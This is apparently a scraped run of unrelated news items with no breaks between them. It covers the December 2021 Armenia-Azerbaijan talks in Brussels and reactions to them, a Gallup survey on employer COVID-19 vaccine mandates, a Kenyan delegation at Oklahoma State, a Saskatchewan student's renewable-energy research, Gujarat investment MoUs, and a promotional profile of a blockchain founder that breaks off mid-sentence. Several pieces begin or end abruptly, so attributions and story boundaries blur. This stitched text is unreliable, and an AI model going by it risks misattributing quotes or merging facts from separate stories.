town hall building 90 new cases of COVID-19 confirmed in Armenia Israel photographer captures remarkable momentary image of flock of birds Trump slams Twitter, Facebook over Congresswoman Marjorie Taylor Green account banning India investigating fake website that purportedly offered Muslim women for sale Taliban dump 3,000 liters of alcohol into canal in booze crackdown in Afghanistan Mauritius airport staff find newborn baby in plane toilet bin Mexico president says he sought Assange pardon from Trump Military helicopter crashes in Israel: two pilots die New mayors inauguration to be held in Armenias Vardenis, there are large number of police officers Armenia soldier dies from gunshot wound Biden returns from holiday break to D.C. amid snowstorm Turkey announces meeting with US on supply of F-35s Brazil President hospitalized after stomach pains President Charles Michel of the European Council released a statement following his trilateral meeting with Prime Minister Nikol Pashinyan of Armenia and President Ilham Aliyev of Azerbaijan. The statement reads as follows: The President of the European Council, Charles Michel, hosted the President of the Republic of Azerbaijan, Ilham Aliyev, and the Prime Minister of the Republic of Armenia, Nikol Pashinyan, for a discussion on the evolving situation in the South Caucasus region and ways forward regarding EU relations with both countries. President Michel assured both leaders of the EUs commitment to work closely with Armenia and Azerbaijan in overcoming conflict, creating cooperation and an atmosphere of trust, with a view to sustainable peace in the region ultimately underpinned by a comprehensive peace agreement. The common aim of all three leaders is to build a South Caucasus that is secure, stable and prosperous for the benefit of all people living in the region. Prime Minister Pashinyan and President Aliyev reconfirmed that key commitments undertaken in the framework of the two trilateral statements of 9 November 2020 and 11 January 2021 would be honoured and that understandings reached in Sochi on 26 November 2021 should be built upon. President Michel commended steps taken by both leaders to ensure the de-escalation of tensions following recent armed clashes along the border between Armenia and Azerbaijan. In particular, the successful establishment of a direct communication link between the Ministers of Defence of both countries, facilitated by President Michel, was acknowledged. This mechanism can serve to prevent future incidents and make a positive impact by helping de-escalate tensions on the ground. . President Michel stressed that resolving key humanitarian issues is of crucial importance. He welcomed the recent release of ten Armenian detainees by Azerbaijan and the handover of all remaining mine-maps by Armenia. He called for the full and speedy resolution of all outstanding humanitarian issues, such as the release of further detainees and addressing the fate of missing persons, while recognising that humanitarian gestures by both sides also promote confidence and help create an environment conducive to progress towards peace and reconciliation. The EU will continue to support humanitarian de-mining efforts, including by providing expert advice, and assistance to conflict-affected populations, rehabilitation and reconstruction. The EU will also continue to support confidence building measures between Armenia and Azerbaijan. The leaders discussed key existing and prospective trade and economic partnerships between the EU and both countries. They also discussed the EUs intention to launch an economic advisory platform to build confidence, contribute to peaceful coexistence and build up economic cooperation in the region. President Aliyev and Prime Minister Pashinyan agreed that in the context of the planned launch of negotiations on the delimitation and demarcation of the state border between Armenia and Azerbaijan, further tangible steps will need to be taken to reduce tensions on the ground to ensure a conducive atmosphere for the talks. President Michel called on both Yerevan and Baku to actively engage in good faith and to work towards de-escalation. He stressed that ensuring the appropriate distancing of forces is an essential element of incident prevention. The EU will make available an expert mission/consultative group to support the border delimitation and demarcation issues by providing technical assistance to both countries. President Michel also emphasised the importance of restoring communications infrastructure between Armenia and Azerbaijan in particular and the South Caucasus more broadly, while fully respecting the sovereignty of all countries. It was agreed to proceed with the restoration of railway lines, with appropriate arrangements for border and customs controls, based on the principle of reciprocity. The EU is ready to support the development of connectivity links, in line with its Economic and Investment Plan. The proposed economic advisory platform can also support this process. The leaders agreed to follow-up on outcomes of their meeting and to stay engaged. Azerbaijan's "corridor for corridor" approach is fraught with serious challenges for Russia and Europe, and it is unacceptable for the Artsakh Republic. Artsakh (Nagorno-Karabakh) Foreign Minister David Babayan stated this in an interview with Armenian News-NEWS.am, and commenting on the statements by President Ilham Aliyev of Azerbaijan. Babayan added as follows: Azerbaijan's position is predictable. We expected such an approach, as nothing else can be expected. With such actions, Azerbaijan is trying to completely suffocate Artsakh. But the issue is not only in Artsakh; there is a more global gamenaturally, with the participation of Turkey. What does unimpeded communication between Turkey and Azerbaijan through the territory of internationally recognized Armenia mean? It is a loss of sovereignty over certain lines of territories. There will be one "corridor" today, the othertomorrow. After all, they don't even say Meghri; they say Zangezur. There may be several "corridors" in Zangezur. At least two references to the "corridor" have already appeared: the railway via Meghri [city], and the motorway via Sisian [city]. So, what is Azerbaijan trying to do? First, to completely divide Armenia. It turns out that Armenia is losing control over about a third of its territory, over Syunik [Province], and not only. This means that Armenia is "breaking away" from Iran. Syunik is completely surroundedin a full enclave position by Azerbaijan and Turkeyas it will not actually have a border with Armenia because if the Azerbaijanis and Turks "cross freely," troops will be sent there tomorrow to ensure "free passage"first of all, of cargo and goods, tomorrowof military equipment, army, etc. It will completely change the situation in the region. Naturally, connecting [Azerbaijans exclave] Nakhichevan with [the] Karvachar [region] would mean full inclusion of the Eastern Transcaucasia, as Azerbaijan is already part of de facto Turkey and a territory highly dependent on Turkey, and in the current sense, Armenia will not be as such because Syunik also will be completely absorbed. I am not even talking about Artsakh. All this will lead to profound transformationsterrible, unpredictable processes will begin in the North Caucasus, the Volga region, and Central Asia. That is, this is in fact [Turkish President] Erdogan's "roadmap" which he voiced together with the representative of the [Turkish ultranationalist] "Gray Wolves" organization. The specifying of any Azerbaijani control over the Lachin corridor would mean suffocating Karabakh. The result will be genocide and deportation of the [Armenian] population. Two ways out will remain: either there will be a war again or there will be no Armenians left in Artsakh. The loss of Artsakh will automatically mean the loss of Zangezur, Sevan and, in general, the destruction of the Armenian statehood. These are the processes that Azerbaijan and Turkey are trying to implement in the context of the concept of unblocking communications. It naturally cannot be accepted in such a context. We hope that such actions will receive an equivalent assessment from the international community. These actions are directed also against the integrity of other countriesRussia and the [Russian] peacekeeping mission [in Artsakh], the Russian state. In time, this threat will turn against Europe. Turkey is now in the role of Germany in the 1930s when Hitler came to power. Even then, many forces were flirting with Hitler. But everyone suffered. It will be the same in this caseeven worse. Therefore, we must calmly approach what is happening, not panic, prevent the provocations of Azerbaijan. I do not believe that such adventurisms of Azerbaijan can be acceptable for the leading world and regional powers. We declare from the beginning what such an approach is fraught with, and it is unacceptable for us. The United States Commission on International Religious Freedom (USCIRF) has issued a special report in which it expresses concern over the deteriorating religious minority situation in Turkey, USCIRF commissioner Tony Perkins told the VOA Armenian Service. He said they see anti-Semitism is on the rise in Turkey, especially during the pandemic, the Armenians also get the same accusations, and they are accused of COVID-19. In the USCIRF special report on Turkey that was released on December 3, the Commission stressed that repression of religious minorities in the country is carried out if not with the direct participation of the Turkish authorities, then at least because of their neutrality on the matter. Moreover, the Turkish authorities leave the crimes against religious minorities in the country unpunished. Commenting on this report, Perkins stressed that the Turkish authorities are primarily accountable for the deterioration of the situation of religious minorities in Turkey. One Armenian church was demolished in Turkey this year, the Armenian cemetery in Van was completely destroyed, and these are forms of intimidation when important religious and cultural sites are destroyed, he added. According to Perkins, religious minorities in Turkey, including members of the Armenian Apostolic Church, are increasingly restricted in their rights. Recently, we are witnessing growing enmity towards religious minorities in Turkey; and if we look more closely, we can see that this trajectory is not going well at all, added Tony Perkins. In its special report, the USCIRF advises the US Department of State to put Turkey on a special list, as its authorities tolerate gross violations of the rights of religious minorities in the country. The Karabakh conflict is over, and there is no return to the debates on the status of Karabakh. The statement came from Azerbaijani President Ilham Aliyev in an interview with El Pais daily of Spain, Interfax-Azerbaijan reports. "Azerbaijan's position [on the matter] is open and clear. We want peace, we do not want war. We have won the war [last], we are winners, and this reality must be taken into account. The Karabakh conflict is over, there is no return to any debate on the status of Karabakh or anything like that," Aliyev said. According to him, Azerbaijan has resolved the conflict by military and political means. Aliyev noted that the current situation in Karabakh, where "the Russian peacekeeping contingent is temporarily stationed, is more stable than on the Armenia-Azerbaijan border." "Unfortunately, Armenia has not given up the revenge attempt. The defeat in the second Karabakh war was very painful for them," he added. Also, the president of Azerbaijan noted that Armenia should refrain from any hostile actions and territorial ambitions and should work toward a peace agreement. "We are neighbors and none of us will fly to another planet. We must learn to live side by side and gradually prepare the ground for normalization of relations, including contacts between people. We [i.e., Azerbaijan] have openly stated that we are ready for that. But we have not received positive signals [from Armenia] yet," Aliyev said. Meanwhile, the Azerbaijani military has invaded the sovereign territory of Armenia since May 12 and refuses to leave. Also, Azerbaijan carries out various provocations on a regular basis, and fires on peaceful Armenian villages and military positions. The authorities of Azerbaijan, Aliyev the monarch of Azerbaijan continue to repress the authorities of Armenia. This is what head of the opposition Armenia Faction of the National Assembly of Armenia Seyran Ohanyan told reporters today, touching upon Aliyevs statement according to which the Zangezur and Lachin corridors will be identical and that if Yerevan insists that a customs point is set up in Zangezur, Azerbaijan will insist that a customs point be set up in the Lachin corridor. The idea of unblocking of roads cant be linked to the Lachin corridor in any way. The aim of the discussions on demarcation and delimitation is to support the authorities to a certain extent. The people have the collective will to not allow the Turkish-Azerbaijani tandem to implement the idea of a corridor, he stated. According to the opposition MP, the unblocking of roads without the created conditions and without precise studies will cause great harm to Armenia and Artsakh (Nagorno-Karabakh). The unblocking of roads will lead to a deep blockade of Armenia, economic repression and a change of the demographic image of the country, Ohanyan emphasized. YEREVAN. Prime Minister Nikol Pashinyan of Armenia met with President Maia Sandu of Moldova on the margins of the Eastern Partnership summit in Brussels, the Prime Minister's Office informed Armenian News-NEWS.am. The PM highlighted the development of relations between the two countries, and lauded Armenias political dialogue with Moldova. Also, Pashinyan stressed the need to develop economic cooperation between them. According to the premier, the governments of the two countries should continue to work closely to expand their trade and economic ties, as well as to promote tourism between Armenia and Moldova. The Moldovan President, in turn, stressed that her country is interested in deepening and strengthening relations with Armenia. Sandu also noted the need to give a new impetus to economic and investment cooperation between the two countries. Furthermore, the President of Moldova underscored the development of cooperation and exchange of experience between her country and Armenia in the process of institutional reforms. In addition, Nikol Pashinyan and Maia Sandu also touched upon the Armenian-Moldovan cooperation within the framework of the Eastern Partnership, the agenda of its summit Wednesday, as well as some other matters of mutual interest. Former Minister of Defense of Armenia, head of the opposition Armenia faction of the National Assembly of Armenia Seyran Ohanyan has shown up at the Prosecutor Generals Office within the scope of the procedure for civil forfeiture of illegal assets, as reported the Prosecutor Generals Office to RFE/RL Armenian Service. As you know, a relevant notice was published in the Azdarar whistleblowing system to summon Ohanyan and his affiliated persons to the Prosecutor Generals Office to become familiar with the materials of the proceedings related to them within the scope of the process and express a stance, and this is in progress. Ohanyan had a chance to go and receive the relevant materials, Advisor to the Prosecutor General Gor Abrahamyan informed. Invitations addressed to Ohanyans wife and her affiliated persons are also posted on the official website of for public notifications. At the request of the Prosecutor Generals Office, their assets are in custody. There is nothing mentioned about the assets in the notices. Armenian News - NEWS.am presents the daily digest of Armenia-related top news as of 15.12.21: CHIEF https://news.am/eng/news/677504.html The EU will make available an expert mission/consultative group to support the border delimitation and demarcation issues by providing technical assistance to Armenia and Azerbaijan. This is noted in the statement released by President Charles Michel of the European Council following his trilateral meeting in Brussels with Prime Minister Nikol Pashinyan of Armenia and President Ilham Aliyev of Azerbaijan. President Aliyev and Prime Minister Pashinyan agreed that in the context of the planned launch of negotiations on the delimitation and demarcation of the state border between Armenia and Azerbaijan, further tangible steps will need to be taken to reduce tensions on the ground to ensure a conducive atmosphere for the talks. President Michel called on both Yerevan and Baku to actively engage in good faith and to work towards de-escalation. He stressed that ensuring the appropriate distancing of forces is an essential element of incident prevention, ARMENIA, AZERBAIJAN https://news.am/eng/news/677556.html European Council President Charles Michel left Armenian Prime Minister Nikol Pashinyan and Azerbaijani President Ilham Aliyev alone for a moment during their trilateral meeting Tuesday in Brussels so that they can speak with each other directly. Michel stated this at a briefing after his meeting with the leaders of Armenia and Azerbaijan. Also, the European Council head attached great importance to establishing a direct link between the leaders of the two countries, expressing conviction that such meetingsas the one held in Brusselsare also important. PRESIDENT https://news.am/eng/news/677552.html The Karabakh conflict is over, and there is no return to the debates on the status of Karabakh. The statement came from Azerbaijani President Ilham Aliyev in an interview with El Pais daily of Spain, Interfax-Azerbaijan reports. "Azerbaijan's position [on the matter] is open and clear. We want peace, we do not want war. We have won the war [last], we are winners, and this reality must be taken into account. The Karabakh conflict is over, there is no return to any debate on the status of Karabakh or anything like that," Aliyev said. According to him, Azerbaijan has resolved the conflict by military and political means. BLINKEN https://news.am/eng/news/677557.html US Secretary of State Antony Blinken has reacted to Turkish Foreign Minister Mevlut Cavusoglu's statement on normalization of relations with Armenia and the response by Armenian foreign ministry spokesman Vahan Hunanyan. "We welcome and strongly support statements by Turkish Foreign Minister Mevlut Cavusoglu and MFA of Armenia on appointing Special Envoys to discuss the process of normalization," Blinken wrote on Twitter. Cavusoglu had made such a statement on Monday. Also, he had noted their intention to open charter flights with Yerevan. The next day, Armenian foreign ministry spokesperson Vahan Hunanyan announced that the Armenian side was also ready to appoint a representative for discussions on the normalization of relations with Turkey. COVID-19 https://news.am/eng/news/677545.html As of Wednesday morning, 212 new cases of the coronavirus were confirmed in Armenia, and the total number of these cases has reached 342,977 in the country, Armenian News-NEWS.am has learned from the National Center for Disease Control and Prevention. Also, 11 more deaths from COVID-19 were registered, making the respective total 7,856 cases. The existence of secret, verbal agreements will lead to collapse, new losses, and new capitulation if the power in Armenia does not change. Ishkhan Saghatelyan, the National Assembly (NA) of Armenia deputy speaker from the opposition "Armenia" Faction, told reporters about this on Wednesday. Saghatelyan noted that he expects nothing good from the meetings between the leaders of Armenia and Azerbaijan. In his opinion, Azerbaijani president Ilham Aliyev's statement about his readiness to set up a customs checkpoint at the Lachin corridor contains risks, and in response to that there was only one post on social mediaand by Prime Minister Nikol Pashinyan of Armenia. The Armenian parliament vice-speaker from the opposition did not rule out that the processes that are currently observed in Syunik Province of Armenia may start in Tavush Province as well. "Although the Armenian authorities constantly deny everything, we hear signals of positive shifts from Turkey," Saghatelyan added, in particular. According to him, the fact that the foreign ministry of Armenia did not even condemn Turkey on the anniversary of the Armenian Genocide is a manifestation of the same policy by the Armenian authorities. "The [Armenian] authorities bowing before the enemy, cannot negotiate in the interests of Armenia. When they are told about the [Armenian] captives [in Azerbaijan], they refuse in every way, but attribute their return to themselves. During the border escalation, the authorities refer to the Russians and simultaneously hand over territories by verbal agreement, then deny [it]. They take everything to that so as wash their hands from both the [Armenian] prisoners of war and the Karabakh issue," concluded the NA deputy speaker from the opposition. The National Assembly (NA) of Armenia failed to ensure the necessary quorum in four hours. In this connection, the special session to be convened on the initiative of the opposition "Armenia" Faction is considered not to have taken place. The NA deputy speaker Hakob Arshakyan from the ruling majority "Civil Contract" Faction announced this Wednesday in the NA Sessions Hall. Thus, and as expected, the NA special session to be convenedon the initiative of the "Armenia" Factionon the matter of delimitation and demarcation of the border with Azerbaijan was obstruct once and for all by the ruling majority, whose MPsexcept for Hakob Arshakyanwere not present at the sitting. The two opposition factions in Armenias legislature together have only 35 lawmakers, and this is not enough for quorum. Officers of the Information and Security Service of Moldova have arrested and conducted a search against Russian journalist and founder of WarGonzo Semyon Pegov, Member of the State Duma Artem Turov reported on his Telegram channel. During a flight from Kishinev to Moscow tonight, Pegov was stopped and held for over an hour, the parliamentarian wrote. According to him, the Russian journalist had videotaped stories about the history and events of the Transdniester conflict, as well as Russias role in the settlement of the conflict. Turov informed that the officers of the Moldovan special services conducted a search against Pegov, inspected his phones, laptop and other devices, as well as threatened to transfer him to Ukraines security forces. Later, the Russian journalist, who responded to the happening very adequately, was released. However, all the unfriendly actions that are being carried out when our country is providing unprecedented assistance to Moldova, spark doubt, the MP concluded, Lenta reports. We proceed from the fact that the normalization of Armenian-Turkish relations would contribute to recovery of the general situation in the region and, of course, it would help create a healthy atmosphere of confidence and friendly-neighborliness, Spokesperson of the Ministry of Foreign Affairs of the Russian Federation Maria Zakharova said today. From this perspective, Russia welcomes the disposition of Yerevan and Ankara to launch dialogue to discuss the issues of normalization of relations. Designating special envoys to achieve these goals is a logical and reasonable step. On our part, we are ready to support this process in every wayThe organizing of the first session of the 3+3 regional advisory platform in Moscow on Dec. 10 was also a contribution to rapprochement of Yerevan and Ankara, as well as the other participants in this format. Let me remind that during the meeting, an agreement was reached to focus on the practical issuesThe specified prospect for resumption of direct flights to and from Istanbul and Yerevan are also in line with the goals and spirit of such agreements. Thus, once again, I emphasize that we will help and welcome all the steps of Armenia and Turkey that will help establish mutual confidence and assist in the rapprochement of the countries and peoples, she stated. Moscow welcomes the direct contacts between Yerevan and Baku, especially at the highest level. This is what Spokesperson of the Ministry of Foreign Affairs of the Russian Federation Maria Zakharova said today, commenting on the meeting of the Prime Minister of Armenia, the President of Azerbaijan and the President of the European Council in Brussels. We are analyzing the information that we received after the meeting and hope that the results of the discussions held in Brussels will contribute to further implementation of the trilateral agreements of the leaders of Armenia, Azerbaijan and Russia, Zakharova said. Germany has declared two officials of the Embassy of Russia in Berlin persona non grata due to the case of the murder of citizen of Georgia Zelimkhan Khangoshvili, Minister for Foreign Affairs of Germany Annalena Baerbock declared, RIA Novosti reports. This state-ordered killing, as was confirmed by the court today, is a gross violation of German law and the sovereignty of the Federal Republic of Germany. This is why we have summoned the Ambassador of the Russian Federation for a talk. The Russian Ambassador has been informed that two officials of the Embassy of the Russian Federation are declared persona non grata, Baerbock told reporters. The Supreme Court of Germany on Wednesday declared citizen of Russia Vadim Sokolov (Krasikov) guilty of the murder of citizen of Georgia Zelimkhan Khangoshvili and sentenced him to life in prison. The prosecution demanded life imprisonment for the accused since it believes the murder was committed based on the task of state agencies of the Government of the Russian Federation. The defense insisted that the evidence was insufficient. President of Azerbaijan Ilham Aliyev says the returned Armenian prisoners of war can be subjected to tortures in their homeland. Some of the captives were detained in Armenia when we returned them. This is a very serious signal for us, the returnees and their relatives. We returned them to their homeland, and they were detained there. These people might be tortured. The testimonies of our previous prisoners show that these people will be subjected to cruel tortures. Consequently, if we return more people, they will be detained. This is a real fact, and it can be confirmed, Aliyev said in an interview with El Pais. According to him, during the Azerbaijani provocation on the Armenian-Azerbaijani border on Nov. 16 of this year, the Azerbaijani side captured 30 Armenian servicemen, and since November 2020, Azerbaijan has captured a total of nearly 40 servicemen. Were not hiding the figures. The Armenian side has been provided with the names, last names and dates of birth of the captives. Basically, the Armenian side knows about this. There are reports from international organizations, and were not hiding this since there is no secret, he said. According to him, Azerbaijan has already returned over 100 prisoners of war to Armenia. Aliyev also declared that Armenian soldiers who committed crimes against the Azerbaijani people, faced the court and were sentenced. Thus, those people cant be considered prisoners of war under any international convention, Aliyev said. Story Highlights 36% of U.S. workers say employer requiring vaccine Figure is stable after sharp increases in recent months One in five workers remain unvaccinated WASHINGTON, D.C. -- The percentage of workers subject to employer COVID-19 vaccine requirements has steadied after showing significant increases in the late summer and fall. Currently, 36% of U.S. workers say their employer requires its employees to be vaccinated against COVID-19, unchanged from the last measurement in October. Line graph. Trend in the percentage of U.S. workers who say their employer requires employees to get vaccinated against COVID-19. Currently, 36% of U.S. workers say their employer requires COVID-19 vaccination, unchanged from the prior reading in October. Between July and October, the percentage steadily grew from 9% to 19%, 29% and 36%. The latest results are based on a Nov. 29-Dec. 5 update of Gallup's COVID-19 tracking survey, including interviews with a nationally representative sample of more than 2,000 employed adults who are members of the Gallup Panel. The interviewing came after courts blocked President Biden's vaccine mandates for federal government workers and employees at large private companies pending further legal action. The pause in the mandate implementation could be one reason that employer vaccination requirements appear to be leveling off. Meanwhile, 43% of U.S. employees say their employer is encouraging vaccination but not requiring it, down from 66% in May and 55% in August. About one in five employees, 22%, say their employer has not indicated a preference on COVID-19 vaccinations for their workers, down from 29% in May. Employees Generally Support Vaccine Requirements Although vaccination mandates have been controversial, workers are much more likely to support than oppose them. Overall, 55% of U.S. workers favor vaccination requirements at work, while 35% are opposed and 11% do not have an opinion either way. Majorities of workers have been in favor since July, with a high of 58% recorded in September. Trend in Support for Worker Vaccination Requirements, 2021 How would you feel about your employer requiring all employees (who do not have a medical exemption) to receive the coronavirus/COVID-19 vaccination? May June July Aug Sept Oct Nov-Dec % % % % % % % Strongly favor 29 33 36 41 46 45 43 Favor 17 16 16 11 12 11 12 Neither favor nor oppose 15 14 10 10 6 7 11 Oppose 8 7 9 7 7 7 6 Strongly oppose 31 30 29 31 29 30 29 Total favor 46 49 52 52 58 56 55 Total oppose 39 37 38 38 36 37 35 Gallup Throughout Gallup's polling on the topic, most employees have held strong opinions on vaccine mandates. The percentage strongly opposed has consistently registered between 29% and 31% since May. Meanwhile, strong support has trended upward from 29% in May, exceeding 40% each month since August. One in Five Workers Vaccine Resistant Gallup estimates that 25% of U.S. workers are unvaccinated against COVID-19, the same proportion as the general population. Some workers -- totaling 5% -- are unvaccinated but say they plan to get vaccinated, leaving 20% who can be considered vaccine resistant. Close to half of unvaccinated workers, 46%, say their employer has not indicated a policy on worker vaccinations. More in this group say their employer is encouraging vaccines (36%) than requiring them (20%). In contrast, vaccinated workers overwhelmingly report their employer has a COVID-19 vaccine policy, with 40% saying vaccines are required and 45% saying they are recommended at their workplace. With most unvaccinated workers not employed at jobs with vaccination requirements, the share of workers currently vulnerable to leaving their jobs over such policy disputes is relatively small. Gallup estimates that 5% of all U.S. employees are unvaccinated and work for an employer with a vaccination requirement. U.S. Employees by COVID-19 Vaccination Status and Employer COVID-19 Vaccination Policy Percentage of all workers Employer requires, employee vaccinated 31 Employer requires, employee unvaccinated 5 Employer recommends, employee vaccinated 35 Employer recommends, employee unvaccinated 8 No policy, employee vaccinated 11 No policy, employee unvaccinated 10 Nov. 29-Dec. 5, 2021 Gallup About half of the unvaccinated workers whose employer requires vaccines say they plan to get vaccinated, so presumably would comply when they need to. That leaves about 3% of unvaccinated workers currently subject to a mandate who don't plan to get vaccinated -- the most at risk of quitting their jobs over COVID-19 vaccine policy. It is unclear what this group of workers will ultimately do -- decide to get vaccinated and continue in their job, secure an exemption so they could keep working without getting vaccinated, or quit their job and find a work arrangement that does not require them to be vaccinated. Notably, the 5% of unvaccinated workers employed at organizations with vaccine requirements is the same now as in the prior survey from October. Coupled with the lack of change in the percentage of workers who say their employer requires vaccinations, this indicates that unvaccinated workers are standing pat at their job for now rather than leaving for jobs that don't require vaccinations. Bottom Line Since federal judges have put President Biden's vaccination mandates on hold, many unvaccinated workers who might be required by their employer to be vaccinated have more time to decide if they will agree to be vaccinated or find other work options. Still, the percentage of workers who say they are required by their employer to be vaccinated has flattened after climbing steadily in recent months. The fate of the court challenges to vaccine mandates will determine whether more or fewer workers must comply with such mandates in the future. The relatively small proportion of unvaccinated workers employed at jobs with vaccination requirements, compared with those employed at places without them, suggests that such mandates can be an effective way to get more Americans vaccinated. To stay up to date with the latest Gallup News insights and updates, follow us on Twitter. Learn more about how the Gallup Panel works. OSU Vet Med Hosts Kenya Delegation Media Contact: Derinda Blakeney | College of Veterinary Medicine | 405-744-6740 | derinda@okstate.edu Oklahoma State Universitys College of Veterinary Medicine hosted Kenya Cattle Feeder Association members this week. The group is interested in evaluating potential areas of training and collaboration with OSUs beef cattle extension program. With the help of OSU expertise, the Kenya team hopes to maximize all key beef cattle supply chains, feedlot management sciences, beef packing and processing, key enterprise resource integration information systems, commodity feed lab services, cattle diagnostic lab services, diagnostic lab infrastructure, and cattle breeding sciences. Representing OSU were: Dr. Thomas Coon, vice president and dean of OSU Agriculture; and Dr. Karl Rich, professor and director of the Master of International Agriculture Program in the Ferguson College of Agriculture. From the College of Veterinary Medicine were: Emily Cooper, assistant director of the Oklahoma Animal Disease Diagnostic Laboratory and Drs. Carlos Risco, dean; Jerry Malayer, senior associate dean of research and graduate education; Akhilesh Ramachandran, associate professor at OADDL; Jerry Saliki, director of OADDL; and Rosslyn Biggs, director of continuing education and beef cattle extension specialist. Traveling from Kenya were: Hempstone Mathenge; Dr. Janet Kariuki; Simon Kimiru; Mary Kamau; and Ambassador David Gacheru, deputy chief of mission of the Embassy of the Republic of Kenya to the United States of America. Lim was recently part of a finalist team in the 2021 Geneva Challenge, where graduate students from around the world create strategies to address global issues such as environmental sustainability, poverty and malnutrition. The contest is hosted annually by the Graduate Institute of International and Development Studies in Geneva. For the Geneva challenge, we explored the crises of food insecurity and malnutrition in my home country, the Philippines, said Lim, who was a member of a team representing Asia alongside two graduate students from the National Chengchi University in Taiwan. The federal government in the Philippines currently uses a paper food pass given to food suppliers and transporters to enable their timely passage through community quarantine areas. The purpose of the program is to ensure food is delivered to citizens regardless of lockdowns. We proposed creating a smart phone application called DAANwhich means road, way or to pass in Filipinoto digitize the food pass issued by the national government, said Lim. By digitizing the food pass, DAAN would promote systemic co-ordination, efficient logistics, and data driven planning to reduce food waste and food prices. The teams project was given one of five presentation spots in the final stage of the Geneva Challenge and placed second overall against teams from around the world. Lim said energy systems also contribute heavily to global food security through mass production and transportation of food sources, and achieving food security is tied to the focus of her masters thesis research. Lim is a masters of sustainability student at USask where she is part of the Community Appropriate Sustainability Energy Security (CASES) Partnership Program, a research initiative that collaborates with Indigenous communities to develop sustainable energy strategies that also support Indigenous economic and social values. Considering the social aspect of energy systems is a relatively new concept. In the past, the main focus of researchers, practitioners and policy makers were economic and technological considerations, said Lim. However, now that renewable energy technologies make it possible for communities and even individuals to produce their own electricity, the social dynamics of energy systems has come under the limelight. The research will work to develop a conceptual framework to define the social value of renewable energy in rural Indigenous communities. Being able to define the social value of CRES (community renewable energy systems) would allow researchers to further develop this concept and propose ways to quantify social value for policy making and funding, said Lim. If social value is considered when planning for energy system development, more public investments, grants and subsidies could go to CRES that would benefit citizens in rural and remote areas by creating energy services that could increase individual capacities and well-being. Lims preliminary results suggest that establishing community renewable energy systems such as solar, wind and hydro power plants will allow rural and remote communities to own their energy systems. It also presents an economic opportunity for rural communities to manage and control their own energy systems. CRES presents an alternative ownership model to the traditional utilities that burn coal, oil or gas to provide electricity and operate as monopolies, said Lim. CRES also create social values such as energy independence and additional skills for new jobs, which could increase individual and societal capacities and well-being. CRES tend to emit less greenhouse gases and utilize limitless resources such as sunlight and wind. These alternatives to traditional fossil fuel-based energy are more environmentally friendly and are easily renewable. She plans to interview community members from the Peter Ballantyne Cree Nation to build their insights into a CRES conceptual model for further energy security research efforts. The work is supervised by Dr. Greg Poelzer (PhD) from SENS and Dr. Bram Noble (PhD) from the USask College of Arts and Science Department of Geography and Planning. I would like my generation and future generations to enjoy the beauty of our natural environment and continue to have or improve our current level of comfort in life, Lim said. The research is funded by the Social Sciences and Humanities Research Council of Canada. This article first ran as part of the 2021 Young Innovators series, an initiative of the USask Research Profile and Impact office in partnership with the Saskatoon StarPhoenix. The 10th Vibrant Gujarat Global Summit 2022 will be held from January 10-12 next year. Gujarat Governor Acharya Devvrat and Union Minister for Dairying, Parshottam Rupala, on Tuesday inaugurated the three-day pre-summit event at Anand Agricultural University. The event will focus on 10 themes in 15 knowledge sessions, which will see the participation of over 90 speakers, 300 companies, and more than 5,000 farmers and officials from 23 states. Prime Minister Narendra Modi will virtually address the pre-summit event on the third and last day, i.e, December 16. The MoUs were inked in the presence of Devvrat and Rupala. An MoU of Rs 192 crore was signed by Aamanya Organic Private limited for an ethanol plant of the capacity of 150 kilolitre per day. Iskcon Balaji food signed an agreement worth Rs 500 crore for frozen potato base plant for snack production in Himmatnagar. An MoU of Rs 200 crore was inked for agri-produce green e-commerce project in Gandhinagar. Similarly, Paras Spices signed an MoU of Rs 100 crore for dehydration, pack house, sortex, and spices grinding in Rajkot. UPS signed an MoU of Rs 500 crore for an ethanol plant of 500 kilolitre per day capacity in Dahej. Central Institute of Brackishwater Aquaculture signed an MoU of Rs 25 crore for infrastructural facilities. Luna Chemicals Private limited inked an MoU worth Rs 650 crore for an ethanol project of 500 kilolitre per day capacity. --IANS amc/arm ( 293 Words) 2021-12-14-22:08:24 (IANS) New Delhi [India], December 15 (ANI/ATK): Unified Brainz Celebrated the Success of Men leading by example with Glitz, Glamour & Glory on the occasion of International Men's Day on 19th of November 2021. The world witnessed the most awaited event "Men Leaders to look Up to 2021" on digital grounds. This glorious ceremony saw the presence of some most sought-after lineup of men leaders who were featured from different walks of life sharing passion journey. The best time to plant a tree was 20 years ago. The second best time is now." This Chinese proverb, one of Tudor Stomff's favorite, aptly describes his vision. A formidable tech expert, Tudor started dabbling in 'Blockchain Technology' years before it was in the public domain. Born a single child in Bucharest, Romania, Tudor's interest in tech started very early. Speaking about his childhood, he says, "I started programming at an early age and this turned into a passion for building startups that have an impact. My parents taught me that it is everyone's responsibility to contribute and improve their community." When he was in his 9th grade, he met his friend and future collaborator Dominic Burghelea, and within a month, they were working on a product - an online tutoring platform. In 2013, they got into the blockchain space. "Blockchain is still an emerging industry and for me, it represents an opportunity to help people understand how it can change their lives by revealing new ways for people to interact with each other economically. I enjoy being a problem solver and finding solutions to whatever problem comes my way. I think no one should have less access to opportunities simply because of where they were born, what they believe in, or other subjective details that we cannot influence individuals. It's been a crazy journey so far, but it's also been one of the most exciting facets of my life," says Tudor of his passion. In 2017, Tudor started his first company within the space, together with Dominic. The company was called Bounty hive, a full-stack blockchain agency and micro-tasking platform that grew to a portfolio of 150+ clients and 200,000 active users within two years. In 2018, Tudor started working on his dream project - HYVE, with Dominic and Brad Yasar. Released in 2021, HYVE addresses a new global and decentralized way of interaction between robots and humans. It is both an Infrastructure for Decentralized Platforms and a Global Directory. It is an autonomous DAO serving the global workforce by solving the most common freelance problems: high fees, slow settlements, lack of privacy, and data breaches. The result is HYVE, a community-governed ecosystem that drastically brings down costs for all parties involved, offers even more flexibility, cuts out the middleman, welcomes the unbanked, provides transparency, and ensures safety, all in a decentralized manner. On top of that, the ecosystem rewards token holders. While studying how great businesses have been built, Tudor realized it was always the passion behind bringing products to life. However, passion and being good at something aren't consistent enough to create a successful business. Knowledge, skill, and commitment are must-haves, as is a strong work ethic. Speaking about his learnings along the way, Tudor says, "My strength, I would say, is being relentless. I've had lots of failures. Everyone does. What is important is how you deal with that. My approach is to figure out what I could change to avoid similar circumstances in the future. Also, I am fortunate enough to be surrounded by great people that have helped enormously in lessening the weight of running a company."To know more about Tudor, check www.passionvista.com or to nominate for upcoming projects email us at info@passionvista.com We couldn't help but ask Tudor how he balances his personal and professional challenges while facilitating such a massive operation. To this, he replies, "I strive for a realistic balance, given the fact that we work in a forever changing environment, which requires constant adaptation and focus." Tudor leaves us with a message: "I encourage 